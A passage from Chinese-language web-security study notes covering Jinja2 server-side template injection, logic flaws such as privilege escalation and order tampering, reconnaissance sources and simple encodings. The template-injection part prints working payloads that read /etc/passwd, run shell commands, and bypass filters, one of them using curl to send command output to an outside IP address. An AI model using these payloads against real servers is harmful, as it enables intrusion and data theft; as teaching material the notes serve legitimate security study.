<span class="token punctuation">{</span><span class="token punctuation">{</span><span class="token string">''</span><span class="token punctuation">.</span>__class__<span class="token punctuation">.</span>__mro__<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">.</span>__subclasses__<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">40</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token string">'/etc/passwd'</span><span class="token punctuation">)</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">}</span><span class="token punctuation">}</span> 
</code></pre> 
  <pre><code class="prism language-python">命令执行:
<span class="token punctuation">{</span><span class="token operator">%</span> <span class="token keyword">for</span> c <span class="token keyword">in</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">.</span>__class__<span class="token punctuation">.</span>__base__<span class="token punctuation">.</span>__subclasses__<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">%</span><span class="token punctuation">}</span>
  <span class="token punctuation">{</span><span class="token operator">%</span> <span class="token keyword">if</span> c<span class="token punctuation">.</span>__name__ <span class="token operator">==</span> <span class="token string">'catch_warnings'</span> <span class="token operator">%</span><span class="token punctuation">}</span>
    <span class="token punctuation">{</span><span class="token operator">%</span> <span class="token keyword">for</span> b <span class="token keyword">in</span> c<span class="token punctuation">.</span>__init__<span class="token punctuation">.</span>__globals__<span class="token punctuation">.</span>values<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">%</span><span class="token punctuation">}</span>
      <span class="token punctuation">{</span><span class="token operator">%</span> <span class="token keyword">if</span> b<span class="token punctuation">.</span>__class__ <span class="token operator">==</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">.</span>__class__ <span class="token operator">%</span><span class="token punctuation">}</span>
    	 <span class="token punctuation">{</span><span class="token operator">%</span> <span class="token keyword">if</span> <span class="token string">'eval'</span> <span class="token keyword">in</span> b<span class="token punctuation">.</span>keys<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">%</span><span class="token punctuation">}</span>
      	 <span class="token punctuation">{</span><span class="token punctuation">{</span> b<span class="token punctuation">[</span><span class="token string">'eval'</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token string">'__import__("os").popen("id").read()'</span><span class="token punctuation">)</span> <span class="token punctuation">}</span><span class="token punctuation">}</span>
   	   <span class="token punctuation">{</span><span class="token operator">%</span> endif <span class="token operator">%</span><span class="token punctuation">}</span>
  	<span class="token punctuation">{</span><span class="token operator">%</span> endif <span class="token operator">%</span><span class="token punctuation">}</span>
   <span class="token punctuation">{</span><span class="token operator">%</span> endfor <span class="token operator">%</span><span class="token punctuation">}</span>
  <span class="token punctuation">{</span><span class="token operator">%</span> endif <span class="token operator">%</span><span class="token punctuation">}</span>
<span class="token punctuation">{</span><span class="token operator">%</span> endfor <span class="token operator">%</span><span class="token punctuation">}</span>
</code></pre> 
  <h2>防御绕过</h2> 
  <pre><code class="prism language-python">过滤 <span class="token punctuation">{</span><span class="token punctuation">{</span>或者<span class="token punctuation">}</span><span class="token punctuation">}</span>
可以使用<span class="token punctuation">{</span><span class="token operator">%</span>绕过
<span class="token punctuation">{</span><span class="token operator">%</span><span class="token operator">%</span><span class="token punctuation">}</span>中间可以执行<span class="token keyword">if</span>语句
利用这一点可以进行类似盲注的操作或者外带代码执行结果
<span class="token punctuation">{</span><span class="token operator">%</span> <span class="token keyword">if</span> <span class="token string">''</span><span class="token punctuation">.</span>__class__<span class="token punctuation">.</span>__mro__<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">.</span>__subclasses__<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">59</span><span class="token punctuation">]</span><span class="token punctuation">.</span>__init__<span class="token punctuation">.</span>func_globals<span class="token punctuation">.</span>linecache<span class="token punctuation">.</span>os<span class="token punctuation">.</span>popen<span class="token punctuation">(</span><span class="token string">'curl http://39.105.116.195:8080/?i=`whoami`'</span><span class="token punctuation">)</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token operator">==</span><span class="token string">'p'</span> <span class="token operator">%</span><span class="token punctuation">}</span><span class="token number">1</span><span class="token punctuation">{</span><span class="token operator">%</span> endif <span class="token operator">%</span><span class="token punctuation">}</span>
过滤 _
用编码绕过
比如:__class__ <span class="token operator">=</span><span class="token operator">></span> \x5f\x5fclass\x5f\x5f
过滤  <span class="token punctuation">.</span>
采用attr<span class="token punctuation">(</span><span class="token punctuation">)</span>或<span class="token punctuation">[</span><span class="token punctuation">]</span>绕过
过滤  <span class="token punctuation">[</span><span class="token punctuation">]</span>
可以用getitem<span class="token punctuation">(</span><span class="token punctuation">)</span>用来获取序号
</code></pre> 
  <h2>逻辑漏洞</h2> 
  <p>逻辑漏洞指在程序开发过程中,对程序处理逻辑<code>未进行严密考虑</code>,导致在到达<code>分支逻辑功能</code>时,不能进行正常的处理或导致某些错误,进而产生危害。功能越复杂的应用,权限认证和业务处理流程越复杂,开发人员要考虑的内容会大幅增加,对于功能越复杂的应用,开发人员出现疏忽的可能性就越大,当这些出现疏忽的点造成业务功能的异常执行时,逻辑漏洞便形成了。</p> 
  <h2>1、权限控制逻辑漏洞</h2> 
  <h2>权限的逻辑漏洞又分为横向越权和纵向越权</h2> 
  <p><a href="http://img.e-com-net.com/image/info8/086b155bfc584b5aab2c52e2292fd4c0.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/086b155bfc584b5aab2c52e2292fd4c0.jpg" alt="网络安全笔记_第3张图片" width="595" height="371" style="border:1px solid black;"></a></p> 
  <h2>横向越权</h2> 
  <p>用户A与用户B之间的越权,如用户A可查看用户B的历史订单信息,其中权限变更过程为“普通用户 → 普通用户” ,本质的权限等级未变化</p> 
  <h2>纵向越权</h2> 
  <p>会涉及管理员与用户之间的权限变更,如用户A通过越权行为可对首页广告进行编辑,那么权限变更过程为“普通用户 → 高级权限用户”,本质的权限等级发生了变化。</p> 
  <h2>2、数据管理逻辑漏洞</h2> 
  <p>现实中,对于<code>业务功能交织</code>的购物系统,正常的业务功能会<code>涉及多种场景</code>,如<code>商品余额、金钱花费、商品归属判定、订单修改、代金券的使用</code>等。<br> 以其中的购买功能为例,购买过程中会涉及<code>商户商品余额变化、买方金额的消费、服务端的交易历史记录等数据</code>,由于涉及的<code>数据种类较多</code>,因此在实际开发过程中,对于部分数据的类型校验便存在考虑不周的可能,如<code>花费金额的正负判定、数额是否可更改</code>等问题。这些问题往往<code>都不是</code>由<code>代码层面的漏洞</code>直接导致,而是由于<code>业务处理逻辑的部分判断缺失</code>导致的。<br> 与数据相关的逻辑漏洞通常将关注点放在<code>业务数据篡改、重放</code>等方面。<br> 业务数据篡改包含了前文提到的诸多问题,与开发人员对正常业务所做的合法规定密切相关,如限购行为中,对于最大购买量的突破也是作为业务数据篡改来看待。<br> 除此之外,在购买场景下常见的几个业务数据篡改可包括:<code>金额数据篡改,商品数量篡改,限购最大数修改,优惠券ID可篡改</code>。不同场景下,可篡改的数据存在差异,需要针对实际情况具体分析,因此上面4类数据也只是针对购买场景而言。</p> 
  <h2>杂项</h2> 
  <h2>信息搜集</h2> 
  <p><strong>网络信息搜集技巧</strong></p> 
  <pre><code class="prism language-python">公开渠道
目标Web网站,地理位置,相关组织
组织结构和人员,人员资料,电话,电子邮件
网络配置,安全防护机制的策略和防护
通过搜索引擎查找特定安全漏洞或私密信息的方法
Google Hacking Database
科学上网
</code></pre> 
  <p><strong>基本搜索技巧</strong></p> 
  <pre><code class="prism language-python">Google 基本搜索与挖掘技巧
保持简单明了的关键词
使用最可能出现在要查找的网页上的字词
尽量简明扼要地描述要查找的内容
选择独特性的描述字词
社会公共信息库查询
个人信息:人口统计局
企业等实体:YellowPage,企业信用信息网
网站,域名,IP:whois等
</code></pre> 
  <p><strong>地图和街道搜索</strong></p> 
  <pre><code class="prism language-python">国外:Google Map,Google Earth,Google Street View
国内:百度地图,卫星地图,街景
从网络世界到物理世界:IP2Location
whois 数据库
GeoIP
IP2Loaction
纯真数据库(QQ IP 查询)
</code></pre> 
  <h2>编码分析</h2> 
  <h2>通信领域常用编码</h2> 
  <p><strong>电话拨号编码</strong><br> 1-9 分别使用1-9<br> <strong>Morese编码</strong><br> 莫尔斯电码</p> 
  <pre><code class="prism language-python">国际莫尔斯电码
<span class="token number">1.</span>一点的长度是一个单位
<span class="token number">2.</span>一划是三个单位
<span class="token number">3.</span>在一个字母中点划之间的间隔是一点
<span class="token number">4.</span>两个字母之间的间隔是三点(一划)
<span class="token number">5.</span>两个单词之间的间隔是七点
</code></pre> 
  <p><strong>特点</strong></p> 
  <pre><code class="prism language-python">只有 <span class="token punctuation">.</span> 和 <span class="token operator">-</span>
最多六位
也可以使用<span class="token number">01</span>串表示
</code></pre> 
  <p><strong>敲击码</strong></p> 
  <pre><code class="prism language-python">Tap code 一种非常简单的方式对文本信息进行编码的方法大
因为编码对信息通过使用一系列的点击声音来编码命名
敲击码基于<span class="token number">5</span><span class="token operator">*</span><span class="token number">5</span>放个波利比奥斯方阵来实现
不同点是用K字母被整合到C中
</code></pre> 
  <p><a href="http://img.e-com-net.com/image/info8/f72175e976234dfdbe6d618dcf3dc2e2.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info8/f72175e976234dfdbe6d618dcf3dc2e2.jpg" alt="网络安全笔记_第4张图片" width="650" height="206" style="border:1px solid black;"></a><br> <strong>曼彻斯特编码</strong><br> <strong>格雷编码</strong></p> 
  <h2>计算机相关的编码</h2> 
  <p><strong>字母表编码</strong></p> 
  <pre><code class="prism language-python">A<span class="token operator">-</span>Z、a<span class="token operator">-</span>z、对应<span class="token number">1</span><span class="token operator">-</span><span class="token number">26</span>、<span class="token number">0</span><span class="token operator">-</span><span class="token number">25</span>
</code></pre> 
  <p><strong>ASCII编码</strong><br> 图片分析<br> 音频隐写<br> 流量包分析<br> 压缩包分析<br> 磁盘内存分析</p> 
  <h2>代码审计</h2> 
  <h2>逆向分析</h2> 
  <h2>移动应用安全</h2> 
  <h2>二进制漏洞利用</h2> 
  <h2>内网渗透基础</h2> 
 </div> 
</div>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
                            </div>
                        </div>
                    </div>
                    <!--PC和WAP自适应版-->
                    <div id="SOHUCS" sid="1584132137408372736"></div>
                    <script type="text/javascript" src="/views/front/js/chanyan.js"></script>
                    <!-- 文章页-底部 动态广告位 -->
                    <div class="youdao-fixed-ad" id="detail_ad_bottom"></div>
                </div>
                <div class="col-md-3">
                    <div class="row" id="ad">
                        <!-- 文章页-右侧1 动态广告位 -->
                        <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_1"> </div>
                        </div>
                        <!-- 文章页-右侧2 动态广告位 -->
                        <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_2"></div>
                        </div>
                        <!-- 文章页-右侧3 动态广告位 -->
                        <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad">
                            <div class="youdao-fixed-ad" id="detail_ad_3"></div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <div class="container">
        <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(网络安全,linux,git)</h4>
        <div id="paradigm-article-related">
            <div class="recommend-post mb30">
                <ul class="widget-links">
                    <li><a href="/article/1835513699826233344.htm"
                           title="android系统selinux中添加新属性property" target="_blank">android系统selinux中添加新属性property</a>
                        <span class="text-muted">辉色投像</span>

                        <div>1.定位/android/system/sepolicy/private/property_contexts声明属性开头:persist.charge声明属性类型:u:object_r:system_prop:s0图12.定位到android/system/sepolicy/public/domain.te删除neverallow{domain-init}default_prop:property</div>
                    </li>
                    <li><a href="/article/1835509643619692544.htm"
                           title="如何在 Fork 的 GitHub 项目中保留自己的修改并同步上游更新?github_fork_update" target="_blank">如何在 Fork 的 GitHub 项目中保留自己的修改并同步上游更新?github_fork_update</a>
                        <span class="text-muted">iBaoxing</span>
<a class="tag" taget="_blank" href="/search/github/1.htm">github</a>
                        <div>如何在Fork的GitHub项目中保留自己的修改并同步上游更新?在GitHub上Fork了一个项目后,你可能会对项目进行一些修改,同时原作者也在不断更新。如果想要在保留自己修改的基础上,同步原作者的最新更新,很多人会不知所措。本文将详细讲解如何在不丢失自己改动的情况下,将上游仓库的更新合并到自己的仓库中。问题描述假设你在GitHub上Fork了一个项目,并基于该项目做了一些修改,随后你发现原作者对</div>
                    </li>
                    <li><a href="/article/1835509391361667072.htm"
                           title="Linux下QT开发的动态库界面弹出操作(SDL2)" target="_blank">Linux下QT开发的动态库界面弹出操作(SDL2)</a>
                        <span class="text-muted">13jjyao</span>
<a class="tag" taget="_blank" href="/search/QT%E7%B1%BB/1.htm">QT类</a><a class="tag" taget="_blank" href="/search/qt/1.htm">qt</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/sdl2/1.htm">sdl2</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>需求:操作系统为linux,开发框架为qt,做成需带界面的qt动态库,调用方为java等非qt程序难点:调用方为java等非qt程序,也就是说调用方肯定不带QApplication::exec(),缺少了这个,QTimer等事件和QT创建的窗口将不能弹出(包括opencv也是不能弹出);这与qt调用本身qt库是有本质的区别的思路:1.调用方缺QApplication::exec(),那么我们在接口</div>
                    </li>
                    <li><a href="/article/1835505858444881920.htm"
                           title="git常用命令笔记" target="_blank">git常用命令笔记</a>
                        <span class="text-muted">咩酱-小羊</span>
<a class="tag" taget="_blank" href="/search/git/1.htm">git</a><a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a>
                        <div>###用习惯了idea总是不记得git的一些常见命令,需要用到的时候总是担心旁边站了人~~~记个笔记@_@,告诉自己看笔记不丢人初始化初始化一个新的Git仓库gitinit配置配置用户信息gitconfig--globaluser.name"YourName"gitconfig--globaluser.email"youremail@example.com"基本操作克隆远程仓库gitclone查看</div>
                    </li>
                    <li><a href="/article/1835504596898902016.htm"
                           title="linux sdl windows.h,Windows下的SDL安装" target="_blank">linux sdl windows.h,Windows下的SDL安装</a>
                        <span class="text-muted">奔跑吧linux内核</span>
<a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/sdl/1.htm">sdl</a><a class="tag" taget="_blank" href="/search/windows.h/1.htm">windows.h</a>
                        <div>首先你要下载并安装SDL开发包。如果装在C盘下,路径为C:\SDL1.2.5如果在WINDOWS下。你可以按以下步骤:1.打开VC++,点击"Tools",Options2,点击directories选项3.选择"Includefiles"增加一个新的路径。"C:\SDL1.2.5\include"4,现在选择"Libaryfiles“增加"C:\SDL1.2.5\lib"现在你可以开始编写你的第</div>
                    </li>
                    <li><a href="/article/1835503712899002368.htm"
                           title="linux中sdl的使用教程,sdl使用入门" target="_blank">linux中sdl的使用教程,sdl使用入门</a>
                        <span class="text-muted">Melissa Corvinus</span>
<a class="tag" taget="_blank" href="/search/linux%E4%B8%ADsdl%E7%9A%84%E4%BD%BF%E7%94%A8%E6%95%99%E7%A8%8B/1.htm">linux中sdl的使用教程</a>
                        <div>本文通过一个简单示例讲解SDL的基本使用流程。示例中展示一个窗口,窗口里面有个随机颜色快随机移动。当我们鼠标点击关闭按钮时间窗口关闭。基本步骤如下:1.初始化SDL并创建一个窗口。SDL_Init()初始化SDL_CreateWindow()创建窗口2.纹理渲染存储RGB和存储纹理的区别:比如一个从左到右由红色渐变到蓝色的矩形,用存储RGB的话就需要把矩形中每个点的具体颜色值存储下来;而纹理只是一</div>
                    </li>
                    <li><a href="/article/1835502578050363392.htm"
                           title="PHP环境搭建详细教程" target="_blank">PHP环境搭建详细教程</a>
                        <span class="text-muted">好看资源平台</span>
<a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a>
                        <div>PHP是一个流行的服务器端脚本语言,广泛用于Web开发。为了使PHP能够在本地或服务器上运行,我们需要搭建一个合适的PHP环境。本教程将结合最新资料,介绍在不同操作系统上搭建PHP开发环境的多种方法,包括Windows、macOS和Linux系统的安装步骤,以及本地和Docker环境的配置。1.PHP环境搭建概述PHP环境的搭建主要分为以下几类:集成开发环境:例如XAMPP、WAMP、MAMP,这</div>
                    </li>
                    <li><a href="/article/1835502578511736832.htm"
                           title="下载github patch到本地" target="_blank">下载github patch到本地</a>
                        <span class="text-muted">小米人er</span>
<a class="tag" taget="_blank" href="/search/%E6%88%91%E7%9A%84%E5%8D%9A%E5%AE%A2/1.htm">我的博客</a><a class="tag" taget="_blank" href="/search/git/1.htm">git</a><a class="tag" taget="_blank" href="/search/patch/1.htm">patch</a>
                        <div>以下是几种从GitHub上下载以.patch结尾的补丁文件的方法:通过浏览器直接下载打开包含该.patch文件的GitHub仓库。在仓库的文件列表中找到对应的.patch文件。点击该文件,浏览器会显示文件的内容,在页面的右上角通常会有一个“Raw”按钮,点击它可以获取原始文件内容。然后在浏览器中使用快捷键(如Ctrl+S或者Command+S)将原始文件保存到本地,选择保存的文件名并确保后缀为.p</div>
                    </li>
                    <li><a href="/article/1835502282603589632.htm"
                           title="509. 斐波那契数(每日一题)" target="_blank">509. 斐波那契数(每日一题)</a>
                        <span class="text-muted">lzyprime</span>

                        <div>lzyprime博客(github)创建时间:2021.01.04qq及邮箱:2383518170leetcode笔记题目描述斐波那契数,通常用F(n)表示,形成的序列称为斐波那契数列。该数列由0和1开始,后面的每一项数字都是前面两项数字的和。也就是:F(0)=0,F(1)=1F(n)=F(n-1)+F(n-2),其中n>1给你n,请计算F(n)。示例1:输入:2输出:1解释:F(2)=F(1)+</div>
                    </li>
                    <li><a href="/article/1835501948011376640.htm"
                           title="使用 FinalShell 进行远程连接(ssh 远程连接 Linux 服务器)" target="_blank">使用 FinalShell 进行远程连接(ssh 远程连接 Linux 服务器)</a>
                        <span class="text-muted">编程经验分享</span>
<a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/1.htm">开发工具</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/ssh/1.htm">ssh</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a>
                        <div>目录前言基本使用教程新建远程连接连接主机自定义命令路由追踪前言后端开发,必然需要和服务器打交道,部署应用,排查问题,查看运行日志等等。一般服务器都是集中部署在机房中,也有一些直接是云服务器,总而言之,程序员不可能直接和服务器直接操作,一般都是通过ssh连接来登录服务器。刚接触远程连接时,使用的是XSHELL来远程连接服务器,连接上就能够操作远程服务器了,但是仅用XSHELL并没有上传下载文件的功能</div>
                    </li>
                    <li><a href="/article/1835499052125483008.htm"
                           title="Git常用命令-修改远程仓库地址" target="_blank">Git常用命令-修改远程仓库地址</a>
                        <span class="text-muted">猿大师</span>
<a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/Java/1.htm">Java</a><a class="tag" taget="_blank" href="/search/git/1.htm">git</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                        <div>查看远程仓库地址gitremote-v返回结果originhttps://git.coding.net/*****.git(fetch)originhttps://git.coding.net/*****.git(push)修改远程仓库地址gitremoteset-urloriginhttps://git.coding.net/*****.git先删除后增加远程仓库地址gitremotermori</div>
                    </li>
                    <li><a href="/article/1835496402042580992.htm"
                           title="GitHub上克隆项目" target="_blank">GitHub上克隆项目</a>
                        <span class="text-muted">bigbig猩猩</span>
<a class="tag" taget="_blank" href="/search/github/1.htm">github</a>
                        <div>从GitHub上克隆项目是一个简单且直接的过程,它允许你将远程仓库中的项目复制到你的本地计算机上,以便进行进一步的开发、测试或学习。以下是一个详细的步骤指南,帮助你从GitHub上克隆项目。一、准备工作1.安装Git在克隆GitHub项目之前,你需要在你的计算机上安装Git工具。Git是一个开源的分布式版本控制系统,用于跟踪和管理代码变更。你可以从Git的官方网站(https://git-scm.</div>
                    </li>
                    <li><a href="/article/1835495170972413952.htm"
                           title="git - Webhook让部署自动化" target="_blank">git - Webhook让部署自动化</a>
                        <span class="text-muted">大猪大猪</span>

                        <div>我们现在有一个需求,将项目打包上传到gitlab或者github后,程序能自动部署,不用手动地去服务器中进行项目更新并运行,如何做到?这里我们可以使用gitlab与github的挂钩,挂钩的原理就是,每当我们有请求到gitlab与github服务器时,这时他俩会根据我们配置的挂钩地扯进行访问,webhook挂钩程序会一直监听着某个端口请求,一但收到他们发过来的请求,这时就知道用户有请求提交了,这时</div>
                    </li>
                    <li><a href="/article/1835493373906087936.htm"
                           title="libyuv之linux编译" target="_blank">libyuv之linux编译</a>
                        <span class="text-muted">jaronho</span>
<a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a>
                        <div>文章目录一、下载源码二、编译源码三、注意事项1、银河麒麟系统(aarch64)(1)解决armv8-a+dotprod+i8mm指令集支持问题(2)解决armv9-a+sve2指令集支持问题一、下载源码到GitHub网站下载https://github.com/lemenkov/libyuv源码,或者用直接用git克隆到本地,如:gitclonehttps://github.com/lemenko</div>
                    </li>
                    <li><a href="/article/1835493247179386880.htm"
                           title="Faiss Tips:高效向量搜索与聚类的利器" target="_blank">Faiss Tips:高效向量搜索与聚类的利器</a>
                        <span class="text-muted">焦习娜Samantha</span>

                        <div>FaissTips:高效向量搜索与聚类的利器faiss_tipsSomeusefultipsforfaiss项目地址:https://gitcode.com/gh_mirrors/fa/faiss_tips项目介绍Faiss是由FacebookAIResearch开发的一个用于高效相似性搜索和密集向量聚类的库。它支持多种硬件平台,包括CPU和GPU,能够在海量数据集上实现快速的近似最近邻搜索(AN</div>
                    </li>
                    <li><a href="/article/1835492869062881280.htm"
                           title="pyecharts——绘制柱形图折线图" target="_blank">pyecharts——绘制柱形图折线图</a>
                        <span class="text-muted">2224070247</span>
<a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E5%8F%AF%E8%A7%86%E5%8C%96/1.htm">信息可视化</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%8F%AF%E8%A7%86%E5%8C%96/1.htm">数据可视化</a>
                        <div>一、pyecharts概述自2013年6月百度EFE(ExcellentFrontEnd)数据可视化团队研发的ECharts1.0发布到GitHub网站以来,ECharts一直备受业界权威的关注并获得广泛好评,成为目前成熟且流行的数据可视化图表工具,被应用到诸多数据可视化的开发领域。Python作为数据分析领域最受欢迎的语言,也加入ECharts的使用行列,并研发出方便Python开发者使用的数据</div>
                    </li>
                    <li><a href="/article/1835492740536823808.htm"
                           title="node.js学习" target="_blank">node.js学习</a>
                        <span class="text-muted">小猿L</span>
<a class="tag" taget="_blank" href="/search/node.js/1.htm">node.js</a><a class="tag" taget="_blank" href="/search/node.js/1.htm">node.js</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/vim/1.htm">vim</a>
                        <div>node.js学习实操及笔记温故node.js,node.js学习实操过程及笔记~node.js学习视频node.js官网node.js中文网实操笔记githubcsdn笔记为什么学node.js可以让别人访问我们编写的网页为后续的框架学习打下基础,三大框架vuereactangular离不开node.jsnode.js是什么官网:node.js是一个开源的、跨平台的运行JavaScript的运行</div>
                    </li>
                    <li><a href="/article/1835490218409553920.htm"
                           title="01-Git初识" target="_blank">01-Git初识</a>
                        <span class="text-muted">Meereen</span>
<a class="tag" taget="_blank" href="/search/Git/1.htm">Git</a><a class="tag" taget="_blank" href="/search/git/1.htm">git</a>
                        <div>01-Git初识概念:一个免费开源,分布式的代码版本控制系统,帮助开发团队维护代码作用:记录代码内容。切换代码版本,多人开发时高效合并代码内容如何学:个人本机使用:Git基础命令和概念多人共享使用:团队开发同一个项目的代码版本管理Git配置用户信息配置:用户名和邮箱,应用在每次提交代码版本时表明自己的身份命令:查看git版本号git-v配置用户名gitconfig--globaluser.name</div>
                    </li>
                    <li><a href="/article/1835489588169240576.htm"
                           title="ARM驱动学习之5 LEDS驱动" target="_blank">ARM驱动学习之5 LEDS驱动</a>
                        <span class="text-muted">JT灬新一</span>
<a class="tag" taget="_blank" href="/search/%E5%B5%8C%E5%85%A5%E5%BC%8F/1.htm">嵌入式</a><a class="tag" taget="_blank" href="/search/C/1.htm">C</a><a class="tag" taget="_blank" href="/search/%E5%BA%95%E5%B1%82/1.htm">底层</a><a class="tag" taget="_blank" href="/search/arm%E5%BC%80%E5%8F%91/1.htm">arm开发</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E5%8D%95%E7%89%87%E6%9C%BA/1.htm">单片机</a>
                        <div>ARM驱动学习之5LEDS驱动知识点:•linuxGPIO申请函数和赋值函数–gpio_request–gpio_set_value•三星平台配置GPIO函数–s3c_gpio_cfgpin•GPIO配置输出模式的宏变量–S3C_GPIO_OUTPUT注意点:DRIVER_NAME和DEVICE_NAME匹配。实现步骤:1.加入需要的头文件://Linux平台的gpio头文件#include//三</div>
                    </li>
                    <li><a href="/article/1835485681187647488.htm"
                           title="【华为OD技术面试真题精选 - 非技术题】 -HR面,综合面_华为od hr面" target="_blank">【华为OD技术面试真题精选 - 非技术题】 -HR面,综合面_华为od hr面</a>
                        <span class="text-muted">一个射手座的程序媛</span>
<a class="tag" taget="_blank" href="/search/%E7%A8%8B%E5%BA%8F%E5%91%98/1.htm">程序员</a><a class="tag" taget="_blank" href="/search/%E5%8D%8E%E4%B8%BAod/1.htm">华为od</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%95/1.htm">面试</a><a class="tag" taget="_blank" href="/search/%E8%81%8C%E5%9C%BA%E5%92%8C%E5%8F%91%E5%B1%95/1.htm">职场和发展</a>
                        <div>最后的话最近很多小伙伴找我要Linux学习资料,于是我翻箱倒柜,整理了一些优质资源,涵盖视频、电子书、PPT等共享给大家!资料预览给大家整理的视频资料:给大家整理的电子书资料:如果本文对你有帮助,欢迎点赞、收藏、转发给朋友,让我有持续创作的动力!网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。需要这份系统化的资料的朋友,可以点击这里获</div>
                    </li>
                    <li><a href="/article/1835484293607026688.htm"
                           title="【Git】常见命令(仅笔记)" target="_blank">【Git】常见命令(仅笔记)</a>
                        <span class="text-muted">好想有猫猫</span>
<a class="tag" taget="_blank" href="/search/Git/1.htm">Git</a><a class="tag" taget="_blank" href="/search/Linux%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/1.htm">Linux学习笔记</a><a class="tag" taget="_blank" href="/search/git/1.htm">git</a><a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a><a class="tag" taget="_blank" href="/search/elasticsearch/1.htm">elasticsearch</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a>
                        <div>文章目录创建/初始化本地仓库添加本地仓库配置项提交文件查看仓库状态回退仓库查看日志分支删除文件暂存工作区代码远程仓库使用`.gitigore`文件让git不追踪一些文件标签创建/初始化本地仓库gitinit添加本地仓库配置项gitconfig-l#以列表形式显示配置项gitconfiguser.name"ljh"#配置user.namegitconfiguser.email"123123@qq.c</div>
                    </li>
                    <li><a href="/article/1835482277870661632.htm"
                           title="简介Shell、zsh、bash" target="_blank">简介Shell、zsh、bash</a>
                        <span class="text-muted">zhaosuningsn</span>
<a class="tag" taget="_blank" href="/search/Shell/1.htm">Shell</a><a class="tag" taget="_blank" href="/search/zsh/1.htm">zsh</a><a class="tag" taget="_blank" href="/search/bash/1.htm">bash</a><a class="tag" taget="_blank" href="/search/shell/1.htm">shell</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/bash/1.htm">bash</a>
                        <div>Shell是Linux和Unix的外壳,类似衣服,负责外界与Linux和Unix内核的交互联系。例如接收终端用户及各种应用程序的命令,把接收的命令翻译成内核能理解的语言,传递给内核,并把内核处理接收的命令的结果返回给外界,即Shell是外界和内核沟通的桥梁或大门。Linux和Unix提供了多种Shell,其中有种bash,当然还有其他好多种。Mac电脑中不但有bash,还有一个zsh,预装的,据说</div>
                    </li>
                    <li><a href="/article/1835479000600899584.htm"
                           title="Linux MariaDB使用OpenSSL安装SSL证书" target="_blank">Linux MariaDB使用OpenSSL安装SSL证书</a>
                        <span class="text-muted">Meta39</span>
<a class="tag" taget="_blank" href="/search/MySQL/1.htm">MySQL</a><a class="tag" taget="_blank" href="/search/Oracle/1.htm">Oracle</a><a class="tag" taget="_blank" href="/search/MariaDB/1.htm">MariaDB</a><a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/Windows/1.htm">Windows</a><a class="tag" taget="_blank" href="/search/ssl/1.htm">ssl</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/mariadb/1.htm">mariadb</a>
